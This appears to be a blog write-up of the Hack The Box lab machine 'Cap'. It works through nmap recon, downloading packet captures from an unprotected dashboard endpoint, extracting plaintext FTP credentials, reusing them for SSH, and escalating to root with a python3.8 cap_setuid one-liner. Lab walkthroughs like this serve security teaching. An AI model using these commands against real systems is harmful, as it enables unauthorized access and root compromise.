← Back to Blog

HTB "Cap" - Full Engagement Report

HTB "Cap" - Full Engagement Report

Target: 10.129.202.124 (Linux) · Outcome: Full compromise - root · Date: 2026-11-11


1. Reconnaissance

An automated recon pass (nmap two-stage scan + per-service enumeration) identified three open ports:

| Port | Proto | Service | Version |
| --- | --- | --- | --- |
| 21 | tcp | ftp | vsftpd 3.0.3 |
| 22 | tcp | ssh | OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 |
| 80 | tcp | http | Gunicorn |

Port 80 ran a custom Flask/Gunicorn "Security Dashboard" app rather than a known CMS, so manual inspection replaced automated fingerprinting from this point on.


2. Web Application - Security Dashboard (port 80)

Browsing the dashboard's own navigation menu surfaced four pages: /, /ip, /netstat, and /capture ("Security Snapshot — 5 Second PCAP + Analysis").

curl -s http://10.129.202.124/ip
curl -s http://10.129.202.124/netstat

/ip and /netstat rendered static ifconfig/netstat output with no injectable parameter — ruled out as an attack surface.

/capture redirected to /data/<n> (an incrementing capture id) and the page itself exposed a /download/<id> button for the underlying pcap file:

curl -sL http://10.129.202.124/capture

Download endpoint

/download/<id> uses a strict integer route converter (Flask <int:id>), so path traversal in the URL (../../../etc/passwd, URL-encoded variants, --path-as-is) was rejected at the routing layer before reaching application code — a dead end.

Enumerating the id space instead:

for i in $(seq 0 20); do curl -s -o /dev/null -w "%{http_code}\n" http://10.129.202.124/download/$i; done

Only ids 0–3 existed (the rest returned 404) — four real packet captures taken by the dashboard's own monitoring feature.

Credential exposure in captured traffic

Since port 21 (FTP) is unencrypted, any FTP login captured during one of these snapshots would be visible in plaintext:

for i in 0 1 2 3; do curl -s -o cap_$i.pcap http://10.129.202.124/download/$i; done
strings cap_*.pcap | grep -iE "USER |PASS |login|password"

Result:

USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.

FTP credentials for user nathan recovered in cleartext from the app's own packet capture feature.


3. Initial Foothold - SSH

ssh nathan@10.129.202.124
# password: Buck3tH4TF0RM3!

The recovered FTP credentials were reused successfully against SSH, granting an initial shell as nathan.

→ User flag obtained.


4. Privilege Escalation — Linux Capabilities on python3.8

Enumeration

sudo -l
# Sorry, user nathan may not run sudo on cap.

id
# uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

cat /etc/crontab
# standard system crontab, nothing custom

getcap -r / 2>/dev/null

Result:

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep

/usr/bin/python3.8 carries the cap_setuid Linux capability, letting it change its own process UID without being SUID-root or needing sudo.

Exploitation

python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

id
# uid=0(root)

→ Root shell obtained, confirmed via /root/root.txt.


5. Findings Summary

| # | Finding | Severity |
| --- | --- | --- |
| 1 | Dashboard's own packet-capture feature exposed via unauthenticated /download/<id> with no access control | High |
| 2 | Unencrypted FTP (vsftpd) traffic captured and downloadable, exposing credentials in plaintext | Critical |
| 3 | Credential reuse: FTP password valid for SSH login as the same user | High |
| 4 | python3.8 carries cap_setuid capability — any local user can escalate to root with no sudo rights needed | Critical |

← All Posts
OG